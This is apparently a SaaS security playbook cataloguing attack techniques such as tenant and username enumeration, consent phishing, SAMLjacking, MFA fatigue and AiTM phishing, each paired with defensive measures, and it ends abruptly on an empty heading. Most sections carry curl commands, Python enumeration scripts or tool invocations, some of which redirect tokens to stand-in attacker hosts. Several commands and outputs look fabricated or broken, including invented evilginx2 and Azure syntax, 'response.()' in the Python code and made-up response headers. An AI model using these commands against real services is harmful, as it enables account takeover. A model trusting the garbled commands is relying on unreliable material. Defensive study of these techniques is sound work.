A SaaS security playbook provides a strategic approach to securing Software-as-a-Service (SaaS) environments, which have become an integral part of modern business operations. With SaaS platforms hosting critical applications and data, it's essential to address security from both the user and service provider perspectives. The playbook outlines best practices for protecting against threats specific to SaaS, such as ensuring strong access controls, managing third-party integrations, securing data in transit and at rest, and monitoring for suspicious activities. A well-rounded SaaS security strategy also emphasizes compliance with industry standards and regulations, such as GDPR, HIPAA, or CIS controls, and incorporates continuous security assessments, employee training, and incident response protocols.

SaaS attack techniques target the inherent nature of these platforms, which are accessible over the internet and often lack endpoint defenses. Techniques like OAuth token abuse, SAML enumeration, and session hijacking are examples of networkless attacks that don't require traditional endpoint interaction. Attackers may exploit OAuth integrations, conduct phishing campaigns to gain consent for malicious applications, or manipulate system workflows to maintain persistence in SaaS environments. Defense strategies in SaaS security must therefore adapt by focusing on areas such as user behavior analytics, privilege escalation prevention, and monitoring for unusual API activity, as outlined in evolving frameworks like the SaaS attacks matrix.

SAML Enumeration (ID: SAT1031)

Tactics:

• Reconnaissance

SAML (Security Assertion Markup Language) enumeration is a reconnaissance technique used to identify whether an organization has configured a SAML-based Identity Provider (IdP) for authentication with a SaaS application. Attackers can determine if a target organization uses SAML authentication by submitting login attempts to SaaS apps using the organization's email domain, subdomain, or tenant-specific paths. This technique can reveal which SaaS apps the organization uses and the identity provider (IdP) configured for authentication (e.g., Okta, Azure AD). Once identified, adversaries can further exploit misconfigurations or weaknesses in the SAML authentication flow.

Attack Technique:

Adversaries perform SAML enumeration by attempting to log in to a SaaS app using an email address associated with the target organization. The login attempt generates different error messages or behaviors based on whether the domain supports SAML authentication, allowing attackers to infer whether SSO is used and which provider is configured.

Example 1: Ramp (SAML Enumeration)

Ramp supports multiple login methods (e.g., username/password, Google social login, SSO via SAML). When an attacker attempts to log in via SSO using an organization’s domain, Ramp uses the domain to map the login to the correct SSO provider. An attacker can test multiple email domains and observe the differences in behavior to identify organizations using SAML and the specific IdP.

Example 2: Expensify (SAML Enumeration)

Expensify offers several ways to enumerate SAML configurations. Here are two common methods:

1. SAML Configured Login Page: By making a GET request to the Expensify SAML login callback URL, the attacker can see different error messages based on whether the domain is configured for SAML authentication. For example:

curl -I https://www.expensify.com/authentication/saml/loginCallback?domain=targetdomain.com

• Valid SAML Domain Response: The response or error message indicates that the domain has SAML authentication enabled.

• Invalid SAML Domain Response: The response or error message indicates that the domain does not support SAML authentication.

Valid SAML Domain Response:

HTTP/1.1 200 OK
Content-Type: text/html
Server: Expensify
X-SAML-Config: OKTA

Invalid SAML Domain Response:

HTTP/1.1 404 Not Found
Content-Type: text/html
Server: Expensify
X-SAML-Config: None

Email-based Login Enumeration: When attempting an email login on Expensify, attackers can observe differences in behavior depending on whether the domain is configured for SAML. For example:

curl -X POST https://www.expensify.com/api/v2/login \
     -d 'email=someone@targetdomain.com'

1. • If the response indicates SAML authentication is required, the domain supports SSO.

     • If the response allows normal email/password login, SAML is not enabled.

Defensive Measures:

• Limit Error Details: SaaS applications should avoid disclosing information about SSO configurations in error messages or login responses.

• Rate Limiting: Implement rate limiting on login attempts to prevent automated SAML enumeration.

• Generic Responses: Ensure that login endpoints provide generic error messages that do not distinguish between valid and invalid SAML domains.

Subdomain Tenant Discovery (ID: SAT1035)

Tactics:

• Reconnaissance

Subdomain tenant discovery involves identifying subdomains associated with specific tenants in SaaS applications. SaaS vendors often assign unique subdomains to separate different tenants (e.g., companyname.saasvendor.com). By using DNS enumeration techniques, adversaries can discover valid subdomains, which can provide insights into which organizations are using the SaaS service. The discovery of these subdomains can be achieved through brute-force DNS enumeration, passive DNS data analysis, or other DNS querying methods. Once subdomains are identified, attackers can conduct further reconnaissance or plan targeted attacks on specific tenants.

Attack Technique:

Attackers can use DNS brute forcing, passive DNS analysis, or online DNS lookup services to discover subdomains. These subdomains often follow naming conventions based on the organization’s name, making it easier for attackers to predict or enumerate valid tenant subdomains.

Example: BambooHR (Subdomain Discovery)

BambooHR uses subdomains to separate tenants (e.g., companyname.bamboohr.com). Attackers can use passive DNS discovery tools or DNS brute-forcing tools to identify organizations that are tenants of BambooHR by searching for valid subdomains.

Command and Code Examples:

1. DNS Brute Forcing: Using tools like dnsenum or dnsrecon, attackers can perform brute-force subdomain enumeration to discover valid tenant subdomains for a given SaaS provider.

   dnsenum example:

dnsenum --enum saasvendor.com

dnsrecon example:

dnsrecon -d saasvendor.com -D subdomains.txt -t brt

In the above examples:

• dnsenum and dnsrecon are used to perform DNS enumeration.

• subdomains.txt contains a wordlist of potential subdomain names, such as common organization names or predictable strings.

The output will show any valid subdomains discovered, such as:

company1.saasvendor.com
company2.saasvendor.com
hr.saasvendor.com

Passive DNS Enumeration: Passive DNS databases like SecurityTrails or Censys can be queried to identify existing subdomains that have been observed in DNS traffic without directly interacting with the SaaS platform.

SecurityTrails API example (Python):

import requests

domain = "saasvendor.com"
api_key = "your_api_key_here"
url = f"https://api.securitytrails.com/v1/domain/{domain}/subdomains"

headers = {
    "APIKEY": api_key
}

response = requests.get(url, headers=headers)
subdomains = response.()["subdomains"]

for sub in subdomains:
    print(f"{sub}.{domain}")

1. This code queries SecurityTrails for subdomains associated with a given SaaS vendor and prints them.

2. Online Tools: Websites like Sublist3r or DNSDumpster provide a web interface for discovering subdomains passively. These can be used to search for tenant subdomains by entering the base domain (e.g., saasvendor.com).

Defensive Measures:

• Use Randomized or Non-Predictable Subdomains: SaaS vendors should avoid predictable naming schemes based on organization names. Using randomized subdomains can make tenant enumeration more difficult.

• Limit DNS Exposure: Ensure that only necessary DNS records are exposed publicly, and remove unused or deprecated subdomains.

• Monitor DNS Queries: SaaS vendors and organizations should monitor DNS queries for excessive or suspicious activity, which could indicate enumeration attempts.

Slug Tenant Enumeration (ID: SAT1034)

Tactics:

• Reconnaissance

Slug tenant enumeration is a technique used by adversaries to discover valid tenant names in SaaS applications by exploiting the way SaaS vendors use "slugs" to separate tenants. A slug is typically a unique identifier chosen during tenant creation and is used as part of a URL path, query parameter, or subdomain. Adversaries can enumerate slugs by testing various organization names or predictable variations. When a slug already exists, SaaS apps may return different error messages or responses, indicating that the tenant already exists.

Attack Technique:

Adversaries can craft queries to SaaS services that involve slug creation or tenant discovery. By checking the responses, they can determine if the slug (tenant name) already exists. Common methods include brute-forcing organization names or similar patterns and observing the application’s response to valid and invalid slugs.

Example: BambooHR (Slug Tenant Enumeration)

BambooHR’s login process uses a tenant slug to direct users to the correct login page. When a slug is entered that doesn’t exist, the application returns a different response compared to a valid slug.

Command and Code Examples:

1. Curl Request for Slug Enumeration: Attackers can use curl or similar tools to send requests to the SaaS service and analyze the responses.

   Example Commands:

# Invalid slug query (not taken)
curl -X GET "https://app.bamboohr.com/ajax/domain.php?test=invalidcustomer"
# Response:
{"taken":false}

# Valid slug query (taken)
curl -X GET "https://app.bamboohr.com/ajax/domain.php?test=soundcloud"
# Response:
{"taken":true}

• In this case:

  • The curl request sends a GET query to BambooHR’s backend with a slug (e.g., soundcloud).

  • The response indicates whether the slug is already in use ({"taken":true}) or not ({"taken":false}).

• Automated Slug Enumeration Script: Attackers can automate the process of slug enumeration using scripting languages such as Python.

  Python Script Example:

import requests

def check_slug(slug):
    url = f"https://app.bamboohr.com/ajax/domain.php?test={slug}"
    response = requests.get(url)
    data = response.()
    return data['taken']

slugs_to_check = ["company1", "company2", "soundcloud", "invalidcustomer"]

for slug in slugs_to_check:
    if check_slug(slug):
        print(f"Slug {slug} is taken.")
    else:
        print(f"Slug {slug} is available.")

• This script checks multiple potential slugs and prints whether each is taken or available.

• Brute-Force Enumeration: Attackers can generate a wordlist of possible organization names or common slugs and use tools like Burp Suite or ffuf to automate slug discovery.

  ffuf Example:

ffuf -u https://app.bamboohr.com/ajax/domain.php?test=FUZZ -w wordlist.txt -mr "true"

1. • FUZZ is a placeholder where potential slugs from wordlist.txt will be inserted.

     • -mr "true" tells ffuf to match responses containing "true", which indicates the slug is taken.

Defensive Measures:

• Randomized Slug Names: Avoid using predictable slugs based on the organization’s name. Implement randomized or complex slugs to prevent easy enumeration.

• Rate Limiting and CAPTCHA: Implement rate-limiting or CAPTCHA on tenant creation endpoints to prevent automated slug enumeration attempts.

• Uniform Error Messages: Ensure that error messages are generic and do not provide specific information about whether a slug already exists.

DNS Reconnaissance (ID: SAT1013)

Tactics:

• Reconnaissance

DNS reconnaissance involves querying DNS records (such as TXT, MX, and SPF) to gather information about an organization's infrastructure. Many SaaS applications require domain ownership verification through DNS TXT records, and by querying these, adversaries can discover SaaS apps used by a target. In addition, MX (Mail Exchange) and SPF (Sender Policy Framework) records can reveal email infrastructure and third-party services in use.

DNS reconnaissance can reveal sensitive data about an organization's environment, such as authentication methods and external SaaS applications.

Attack Techniques:

1. DNS TXT Record Lookup: TXT records are often used by SaaS applications for domain verification. These records can expose which SaaS services the target uses, such as Google, Adobe, or GitHub.

   Command:

dig txt hsbc.com

Example Output for HSBC:

hsbc.com.  300  IN  TXT "google-site-verification=NI7zII4Ge_p28m0XfsDGMj77Nly4XabBi4MonUEVcUM"
hsbc.com.  300  IN  TXT "adobe-idp-site-verification=97bd1b56bb7c1bf2b021fcc1aa99f303be57821beda2e03442612fe631a071e5"
hsbc.com.  300  IN  TXT "docker-verification=2885f98d-883c-4171-88f5-44ebc35fd452"
hsbc.com.  300  IN  TXT "v=spf1 include:spf-00299f02.pphosted.com include:spf1.hsbc.com ~all"

• From this output, we can see HSBC uses services from Google, Adobe, Docker, and Proofpoint (from the SPF record).

• MX Record Lookup: MX records show which mail servers handle email for a domain. Attackers can use this information to identify which email SaaS providers the organization uses.

  Command:

dig mx hsbc.com

Example Output:

hsbc.com.  300  IN  MX  10 mx.hsbc.com
hsbc.com.  300  IN  MX  20 mx2.hsbc.com

SPF Record Lookup: SPF records indicate which IP addresses or domains are authorized to send mail on behalf of the domain. Attackers can query SPF records to determine if external email services are used.

Command:

dig txt hsbc.com | grep "v=spf1"

Example Output:

hsbc.com.  300  IN  TXT  "v=spf1 include:spf-00299f02.pphosted.com include:spf1.hsbc.com ~all"

1. The SPF record indicates that Proofpoint (spf-00299f02.pphosted.com) is being used as an email gateway.

Defensive Measures:

• Use randomized TXT records for domain verification.

• Limit exposure of sensitive information in DNS records.

• Implement DNS security measures such as DNSSEC.

Username Enumeration (ID: SAT1038)

Tactics:

• Reconnaissance

Username enumeration involves leveraging login mechanisms in SaaS applications that reveal whether a username or email address exists in the system. Some login systems disclose this information by returning different error messages for valid and invalid accounts, or by backend responses indicating the existence of an account.

Attackers can check known or guessed email address combinations to identify valid user accounts, which could help them in future attacks like phishing, credential stuffing, or password spraying.

Attack Techniques:

1. Username Enumeration via Error Messages: SaaS applications may return different error messages for valid and invalid usernames, making it possible for attackers to enumerate users.

   Command Example for Login Attempts:

curl -X POST "https://ramp.com/api/login" -d "email=validuser@domain.com"
# Output: {"message": "Invalid password"}

curl -X POST "https://ramp.com/api/login" -d "email=invaliduser@domain.com"
# Output: {"message": "No such user"}

• In this case, different responses indicate whether the user exists in the system.

• Automated Username Enumeration: Attackers can automate this process using a script to iterate over a list of common usernames or emails.

  Python Script Example:

import requests

def check_username(email):
    url = "https://ramp.com/api/login"
    response = requests.post(url, data={"email": email})
    if "Invalid password" in response.text:
        print(f"{email} is a valid user.")
    else:
        print(f"{email} is not valid.")

emails_to_check = ["validuser@domain.com", "invaliduser@domain.com"]
for email in emails_to_check:
    check_username(email)

API-Based Enumeration: Some SaaS applications use third-party identity services like Google’s Identity Toolkit. When interacting with these services, backend responses can indicate if an email address is valid.

Curl Command Example:

curl -X POST "https://ramp.com/api/authenticate" -d "email=user@target.com"
# Response indicates if the email is valid or not.

Defensive Measures:

• Implement generic error messages that do not indicate whether a username or email exists.

• Use CAPTCHA or other mechanisms to prevent automated enumeration attempts.

• Enable account lockout or throttling after multiple failed login attempts.

Consent Phishing (ID: SAT1010)

Tactics:

• Initial Access

Consent phishing is a form of attack where adversaries exploit OAuth to trick users into granting permissions to malicious applications. Instead of stealing credentials, attackers abuse OAuth tokens, bypassing MFA and gaining access to sensitive data or services. The attack begins with a phishing link that prompts the user to authorize permissions for a malicious OAuth app. Once access is granted, the attacker can maintain control of the account until the OAuth consent is manually revoked, even after password resets.

This attack is frequently used to target services like Microsoft Azure, Google Workspace, and other SaaS applications with OAuth APIs.

Attack Techniques:

1. Phishing Link with OAuth Consent Request: Attackers send a phishing link that redirects the user to an OAuth consent page, requesting dangerous permissions such as reading emails, accessing files, or controlling resources. If the victim consents, the attacker gains access.

   Example Attack Setup:

   • Create a malicious OAuth app requesting full email and file permissions.

   • Send phishing emails with the OAuth consent link to targets.

Command to Analyze OAuth Consent:

# Use a browser or intercepting proxy to monitor OAuth consent requests
curl -L "https://login.microsoftonline.com/{tenant-id}/oauth2/v2.0/authorize?client_id={malicious-app-id}&response_type=code&redirect_uri=https://malicioussite.com"

• Defensive Measure:

  • Review OAuth consent permissions and revoke access to suspicious applications.

  • Use OAuth consent policies to restrict third-party applications from accessing sensitive data.

• Abuse OAuth Tokens: Once the victim grants consent, OAuth tokens are generated for the attacker. These tokens allow the attacker to act on behalf of the victim without needing their password or MFA.

  Command to Access OAuth Tokens:

# Use the token obtained to make API requests
curl -H "Authorization: Bearer {access_token}" https://graph.microsoft.com/v1.0/me/messages

1. Defensive Measure:

   • Audit OAuth app permissions regularly.

   • Educate users to avoid clicking on suspicious consent requests.

References:

• Decoding Consent Phishing

• MITRE ATT&CK: Phishing

Poisoned Tenants (ID: SAT1030)

Tactics:

• Initial Access

A poisoned tenant attack involves an adversary registering and controlling a new tenant on a SaaS platform, tricking users into joining it. This could be done by making the tenant appear legitimate, using familiar organization names, or sending fake invitations. Once users join the poisoned tenant, the attacker can access sensitive information, especially if integrations with other SaaS apps or assets (like email) are involved.

Adversaries might use social engineering or take advantage of features like automatic invites to increase the success rate of this attack.

Attack Techniques:

1. Create and Configure a Malicious Tenant: Adversaries create a tenant resembling the target organization, adding functionality or license upgrades to make it more appealing. Users might be tricked into joining this tenant through legitimate-looking invitations.

   Command Example:

# Use a SaaS platform API to create a tenant and invite users
curl -X POST "https://api.saasapp.com/tenants" -d '{"tenantName": "FakeCorp", "licenseTier": "premium"}'

• Defensive Measure:

  • Monitor and control tenant invitations and account associations.

  • Use tenant approval workflows for critical SaaS apps.

• Send Poisoned Invites: The attacker sends poisoned invitations to users via email or in-app notifications, tricking them into joining the tenant.

Command to Send an Invitation:

# Send an invitation via API
curl -X POST "https://api.saasapp.com/invite" -d '{"email": "victim@target.com", "tenantId": "maliciousTenantId"}'

1. Defensive Measure:

   • Disable automatic tenant joining features.

   • Scrutinize and limit tenant invitation links.

References:

• MITRE ATT&CK: Initial Access

SAMLjacking (ID: SAT1032)

Tactics:

• Initial Access

• Lateral Movement

SAMLjacking involves configuring malicious SAML integrations on SaaS platforms to redirect users to fake or malicious authentication pages. By manipulating the SAML configuration, an adversary can redirect users to phishing pages designed to mimic legitimate single sign-on (SSO) providers (e.g., Google or Microsoft). This attack relies on users trusting the login process and not verifying the authenticity of the URL they are redirected to.

Attack Techniques:

1. Set Up a Malicious SAML Integration: The adversary configures a SaaS tenant with a malicious SAML SSO URL that redirects users to a phishing site. Victims think they are logging into a legitimate SSO provider but are redirected to a page controlled by the attacker.

   Command to Set SAML SSO URL:

# Upload a SAML metadata file with a malicious SSO URL
curl -X POST "https://app.saas.com/api/saml/settings" -F "metadata=@malicious_metadata.xml"

• Defensive Measure:

  • Ensure SAML configurations are verified and trusted.

  • Educate users to check for correct URLs when redirected to SSO login pages.

• Phish with Tenant Name Manipulation: The adversary names the tenant similarly to the target organization (e.g., "Ctrlaltsecure" targeting ctrlaltsecure.com) and uses in-app mechanisms to invite victims, leading them to malicious login pages.

  Example Phishing Page Setup:

curl -X POST "https://api.saasapp.com/tenants" -d '{"tenantName": "Ctrlaltsecure", "ssoURL": "https://malicious-phishing.com/login"}'

---

1. Defensive Measure:

   • Enforce strict tenant naming policies and monitor for abuse.

   • Block phishing URLs at the network or application level.

References:

• MITRE ATT&CK: Credential Access

• Datadog SAMLjacking Case

Account Ambushing (ID: SAT1002)

Tactics:

• Initial Access

Account ambushing exploits features in SaaS applications that allow adversaries to backdoor user accounts before they are used by legitimate users. Attackers can register accounts using target email addresses, link multiple authentication methods, or create API keys to retain access even if the user attempts to reclaim the account. This attack works in apps that don't require email verification, allowing attackers to register an account with a victim’s email and use secondary authentication mechanisms to maintain access even if the victim resets the password.

Attack Techniques:

1. Create a Backdoor Account: An attacker registers an account using the victim's email and links it to other login methods (e.g., social media accounts).

   Example Command (Register with Victim's Email):

curl -X POST "https://api.saasapp.com/register" -d '{"email": "victim@target.com", "password": "StrongPass123"}'

Link Social Login: After account registration, the adversary links an Apple or Facebook account for backdoor access.

Command Example (Link Social Login):

curl -X POST "https://api.saasapp.com/link_social" -d '{"email": "victim@target.com", "provider": "apple"}'

1. Account Recovery by Victim: The real user attempts to sign up, realizes the account exists, and performs a password reset. However, the adversary still retains access via linked accounts.

   Defensive Measures:

   • Enforce email verification during account creation.

   • Review linked accounts and unlink unauthorized social media accounts.

---

Credential Stuffing (ID: SAT1011)

Tactics:

• Initial Access

Credential stuffing is the practice of using stolen credentials from previous breaches to gain access to other applications. This is effective because users often reuse passwords across multiple services. Attackers automate login attempts across different apps using username-password pairs from public or dark web leaks, increasing their chances of success.

Attack Techniques:

1. Use Stolen Credentials: Attackers use lists of stolen credentials to attempt logins in SaaS apps.

   Command to Automate Credential Stuffing:

   # Use a tool like Hydra to perform credential stuffing hydra -L users.txt -P passwords.txt https://api.saasapp.com/login

2. Match Personal and Corporate Emails: Attackers might match personal and work email addresses to expand their attack surface.

   Defensive Measures:

   • Implement multi-factor authentication (MFA).

   • Use password rotation policies and enforce strong, unique passwords.

---

App Spraying (ID: SAT1007)

Tactics:

• Initial Access

App spraying is a variation of brute force attacks where attackers guess a few passwords on each of several apps that a user may have access to. This technique allows adversaries to bypass rate-limiting mechanisms imposed by individual apps by spreading their guesses across multiple services.

Attack Techniques:

1. Distributed Password Guesses: Instead of focusing on one app, attackers distribute password guessing attempts across various SaaS apps.

   Command to Automate App Spraying:

   # Use a tool to spread password guesses across multiple apps python app_sprayer.py --target_email "victim@target.com" --password_list "passwords.txt" --apps "app1.com, app2.com, app3.com"

2. Monitor Response Codes: Attackers monitor HTTP responses to determine success or failure.

   Defensive Measures:

   • Monitor for abnormal login attempts across multiple apps.

   • Use rate-limiting combined with account lockouts after repeated failed login attempts.

---

IM Phishing (ID: SAT1018)

Tactics:

• Initial Access

IM phishing is a variant of phishing attacks using instant messaging (IM) apps such as Slack or Microsoft Teams. These apps often lack robust security controls that are present in traditional email platforms, such as link scanning or attachment sandboxing, making them attractive vectors for phishing. Adversaries exploit IM platforms’ real-time communication and the growing trend of external collaborations to send malicious links or attachments.

Attack Techniques:

1. Phishing via Slack Connect: Attackers use Slack Connect to send phishing messages, which allow cross-tenant communication.

   Command to Send Slack Phishing Message:

   # Send a message via Slack API curl -X POST "https://slack.com/api/chat.postMessage" -H "Authorization: Bearer {token}" -d '{"channel":"#target-channel","text":"Click here for urgent docs: https://malicious-link.com"}'

2. IM Message Editing: Adversaries edit their message post-phishing to remove traces of malicious activity.

   Command Example:

   curl -X POST "https://slack.com/api/chat.update" -H "Authorization: Bearer {token}" -d '{"channel":"#target-channel","ts":"timestamp","text":"Updated message with no link"}'

   Defensive Measures:

   • Train users to scrutinize messages from unknown senders.

   • Implement security tools that integrate with IM apps to scan links and attachments.

---

IM User Spoofing (ID: SAT1019)

Tactics:

• Initial Access

• Lateral Movement

IM user spoofing exploits the lack of strict identity verification in IM platforms like Slack or MS Teams. Attackers can change display names, photos, or handles to impersonate trusted individuals, such as a CEO, and use this false identity to execute social engineering attacks, such as tricking employees into transferring funds.

Attack Techniques:

1. Modify Display Information: The adversary changes the display name and photo in a compromised or new account to impersonate another individual.

   Command to Change Slack Display Name:

   curl -X POST "https://slack.com/api/users.profile.set" -H "Authorization: Bearer {token}" -d '{"profile": {"real_name": "CEO Name", "display_name": "CEO"}}'

2. Send Impersonated Messages: The attacker sends messages impersonating a high-ranking individual, such as the CEO, to gain trust and issue fraudulent requests.

   Command to Send Impersonated Message:

   curl -X POST "https://slack.com/api/chat.postMessage" -H "Authorization: Bearer {token}" -d '{"channel":"#finance-team","text":"Please process the urgent payment: https://malicious-link.com"}'

   Defensive Measures:

   • Enable two-factor authentication for all users.

   • Monitor for changes in user profiles, especially for high-privilege users.

nOAuth (ID: SAT1025)

Tactics:

• Initial Access

nOAuth is a misconfiguration where SaaS apps use the email claim instead of the subject claim to identify users during OAuth authentication. The subject claim is an immutable identifier specified by the OAuth standard, but some apps incorrectly configure their authentication flow to rely on user-modifiable attributes such as email. This allows an adversary to create a fake tenant and set their email to match the target's, potentially gaining unauthorized access to SaaS apps.

Attack Techniques:

1. Create Fake Tenant with Spoofed Email: The attacker creates a new tenant in a system like AzureAD, sets their email address to match the target's, and attempts to authenticate to apps that rely on the email claim.

   Azure Command to Change Email:

   # Command to change email on AzureAD account az ad user update --id attacker_id --mail "victim@target.com"

2. Exploit Misconfigured OAuth: The attacker uses the modified email to authenticate into the victim's SaaS account through vulnerable apps.

   Defensive Measures:

   • Enforce the use of the subject claim for user identification.

   • Monitor for changes in account attributes and block suspicious email modifications.

---

MFA Fatigue (ID: SAT1024)

Tactics:

• Initial Access

MFA fatigue is an attack where an adversary repeatedly sends MFA push notifications to a victim’s device, hoping they will approve one of them out of frustration or confusion. The attacker abuses legitimate push notification-based MFA systems, sending requests at inconvenient times or at a high frequency to wear down the victim. Once the victim approves the login, the attacker gains access to their account.

Attack Techniques:

1. Trigger Repeated MFA Requests: The attacker continually tries to log in with compromised credentials, sending repeated MFA push notifications to the victim's device.

   Automated Script to Trigger MFA Fatigue:

   while true; do curl -X POST "https://saasapp.com/login" -d '{"username": "victim@target.com", "password": "compromised_password"}' sleep 5 done

2. MFA Approval by Victim: Eventually, the victim, out of frustration, approves one of the MFA requests, allowing the attacker to gain access.

   Defensive Measures:

   • Limit the number of MFA requests allowed within a specific time frame.

   • Notify users of potential MFA abuse and encourage reporting suspicious requests.

---

Device Code Phishing (ID: SAT1012)

Tactics:

• Initial Access

• Defense Evasion

Device code phishing takes advantage of OAuth's device authorization flow, designed for devices like smart TVs. An attacker tricks a user into visiting a legitimate authentication provider's website and entering a device code provided by the attacker, granting access to their account without requiring a password or MFA. This attack is particularly effective because the user is interacting with a legitimate URL, making it difficult to detect.

Attack Techniques:

1. Generate Device Code: The attacker generates a device code and sends it to the target, asking them to enter it into the OAuth provider’s website.

   Command to Generate OAuth Device Code:

   curl -X POST "https://auth.provider.com/device" -d '{"client_id": "attacker_id", "scope": "openid profile"}'

2. Phish the Victim: The attacker sends the target a message convincing them to visit the legitimate OAuth device login page and enter the generated code.

   Defensive Measures:

   • Educate users to never enter device codes they didn't personally request.

   • Monitor device authorizations for unusual activity.

---

Hijack OAuth Flows (ID: SAT1040)

Tactics:

• Initial Access

Hijacking OAuth flows occurs when an attacker modifies the redirect_uri parameter during the OAuth authorization code flow. If a third-party application fails to validate the redirect_uri, an attacker can manipulate the OAuth response to redirect the authorization code to a malicious server they control. This allows them to intercept the authorization code and exchange it for an access token, gaining unauthorized access to the victim’s account.

Attack Techniques:

1. Manipulate the Redirect URI: The attacker modifies the redirect_uri parameter during the OAuth authorization request to redirect the response to their malicious server.

   Example URL with Manipulated Redirect URI:

   https://auth.provider.com/oauth2/authorize?client_id=attacker_id&redirect_uri=https://malicious-server.com

2. Intercept Authorization Code: The attacker receives the authorization code at their malicious server and exchanges it for an access token.

   Command to Exchange Authorization Code for Access Token:

   curl -X POST "https://auth.provider.com/token" -d '{"client_id": "attacker_id", "client_secret": "secret", "code": "authorization_code"}'

   Defensive Measures:

   • Ensure proper validation of redirect_uri in third-party applications.

   • Use strict allowlists for redirect URIs to prevent misuse.

---

AiTM Phishing (ID: SAT1042)

Tactics:

• Initial Access

Attacker-in-the-Middle (AiTM) phishing circumvents multi-factor authentication (MFA) by using a web proxy to intercept and relay communication between the victim and a legitimate login portal. The attacker collects valid credentials, including session tokens or MFA responses, in real time. Tools like Evilginx2 or Modlishka are often used to proxy these interactions, allowing attackers to steal session cookies and bypass MFA protections.

Attack Techniques:

1. Setup AiTM Web Proxy: The attacker sets up a proxy server (e.g., Evilginx2) to relay communication between the victim and the real SaaS login portal.

   Command to Setup Evilginx2:

   sudo evilginx2 setup domain phishing-portal.com enable phishlet google

2. Intercept Session Tokens: Once the victim enters their credentials and completes MFA, the attacker captures the session token, which can be used to hijack the session.

   Command to Capture Session Token:

   cat /var/log/evilginx2/sessions.log

   Defensive Measures:

   • Use robust anti-phishing technologies, such as real-time blacklists for phishing proxies.

   • Enforce the use of FIDO-based authentication, which is resistant to AiTM attacks.

Device Enrollment (ID: SAT1043)

Tactics:

• Initial Access

• Persistence

Device enrollment allows an attacker to maintain long-term access to an account after initially compromising it. By enrolling a new device—such as an MFA device or a device management tool—an adversary can ensure they can bypass future security controls. This tactic has been used by groups like APT29 and Scattered Spider to retain persistent access even after the initial compromise. This can be particularly effective when exploiting dormant accounts that require MFA enrollment during authentication.

Attack Techniques:

1. Enroll New MFA Device: After gaining temporary access (e.g., through AiTM phishing), the attacker enrolls their own device to handle future MFA challenges.

   Azure Command to Add MFA Device:

   az ad user mfa device add --user "victim@target.com" --device "attacker_device"

2. Enroll in Device Management Software: The attacker enrolls their own device in the organization’s device management solution, allowing them to bypass security policies.

   Command for Device Enrollment in MDM (Mobile Device Management):

   sudo mdmclient dep enroll --org "target_org" --device "attacker_device"

Defensive Measures:

• Restrict device enrollment to trusted administrators.

• Monitor for suspicious new device enrollments.

• Enforce MFA re-enrollment when devices are added or changed.

---

Ghost Logins (ID: SAT1017)

Tactics:

• Initial Access

• Persistence

• Defense Evasion

Ghost logins occur when an account has multiple authentication methods (e.g., password-based and SSO). Adversaries may exploit weaker authentication methods left active, such as legacy passwords or recovery email addresses, even if stronger methods like SSO are in use. This attack allows adversaries to maintain access, often unnoticed, as the login does not trigger centralized logging mechanisms.

Attack Techniques:

1. Exploit Legacy Password Authentication: Even if a SaaS application uses SSO, legacy password-based authentication may remain active. Attackers can log in using a weaker password while the target organization relies on SSO logs for monitoring.

   Login Using Legacy Password:

   curl -X POST "https://saasapp.com/login" -d '{"username": "victim@target.com", "password": "legacy_password"}'

2. Set Alternate Authentication Method: After gaining access, the attacker configures a secondary authentication method, such as a recovery email or personal account.

   Configure Secondary Login:

   curl -X POST "https://saasapp.com/add_recovery_email" -d '{"email": "attacker@malicious.com"}'

Defensive Measures:

• Regularly audit all authentication methods.

• Disable legacy authentication when switching to SSO.

• Monitor for the addition of secondary authentication methods.

---

MFA Downgrade (ID: SAT1045)

Tactics:

• Initial Access

An MFA downgrade attack forces a user to use a less secure MFA factor, such as a time-based one-time password (TOTP) or push notification, instead of a phishing-resistant method like passkeys. This is typically done by manipulating the authentication process, either via a phishing attack or by exploiting vulnerabilities in the service’s MFA options. The attacker then exploits this weaker MFA factor to complete the authentication and gain access.

Attack Techniques:

1. Modify MFA Request to Downgrade Factor: The attacker uses a phishing proxy (e.g., Evilginx2) to alter authentication requests, forcing the user to authenticate using a less secure method.

   Evilginx2 Command to Proxy Login:

   sudo evilginx2 setup domain phishing-portal.com enable phishlet google

2. Force Use of TOTP: By manipulating the login process, the attacker ensures the victim cannot use phishing-resistant MFA and must use TOTP or push notifications.

   Phishlet Configuration for MFA Downgrade:

   phishlet evilginx2 config google --disable_passkey true --force_totp true

Defensive Measures:

• Enforce phishing-resistant MFA (e.g., FIDO2) and disable weaker factors.

• Detect unusual MFA requests, such as repeated downgrades.

---

Guest Access Abuse (ID: SAT1046)

Tactics:

• Initial Access

In Guest Access Abuse, attackers exploit misconfigurations in SaaS platforms like Salesforce, ServiceNow, and Zendesk, where guest users have broader permissions than intended. This can lead to unauthorized access to sensitive data, privilege escalation, or even full account compromise. These platforms often allow guest users to perform specific tasks, but if misconfigured, they can be used by attackers to gain broader access to systems and data.

Attack Techniques:

1. Leverage Excessive Guest Permissions: The attacker identifies and exploits misconfigured guest accounts with excessive permissions, allowing them to access sensitive data or perform administrative tasks.

   Exploit Guest Access in Salesforce:

   curl -X GET "https://salesforce.com/guest/api/resource" --header "Authorization: Bearer guest_token"

2. Escalate Privileges via Guest User: By leveraging excessive guest access, the attacker may be able to escalate privileges, possibly gaining control over administrative functions.

   Privilege Escalation Example:

   curl -X POST "https://servicenow.com/guest/admin_privileges" -d '{"user": "guest", "role": "admin"}'

Defensive Measures:

• Regularly audit guest user permissions and enforce least privilege principles.

• Monitor guest accounts for unusual activities or privilege escalations.

Shadow Workflows (ID: SAT1033)

Tactics:

• Execution

• Exfiltration

In SaaS environments, adversaries can exploit low- or no-code automation tools (e.g., Zapier, Microsoft Power Automate) to execute malicious actions by creating workflows that automate tasks such as exfiltration of files, forwarding sensitive emails, or cloning instant messages. These workflows are akin to traditional “Living Off the Land” (LOTL) techniques like PowerShell, which leverage legitimate software to bypass detection. By integrating APIs, an adversary can configure these workflows to automate attacks against a compromised SaaS account, maintaining persistence and avoiding custom OAuth integrations that might trigger alerts.

Example Commands/Code:

• Zapier:

  • Create a trigger to forward emails containing sensitive keywords like "password reset" and delete them after forwarding:

    Trigger: New Email in Gmail Filter: Contains "password reset" Action 1: Send Forwarded Email Action 2: Delete Original Email

• Microsoft Power Automate:

  • Export sensitive files from OneDrive:

    Trigger: File Created in OneDrive Action: Export File to External Storage (Dropbox, Google Drive, etc.)

OAuth Tokens (ID: SAT1027)

Tactics:

• Execution

• Persistence

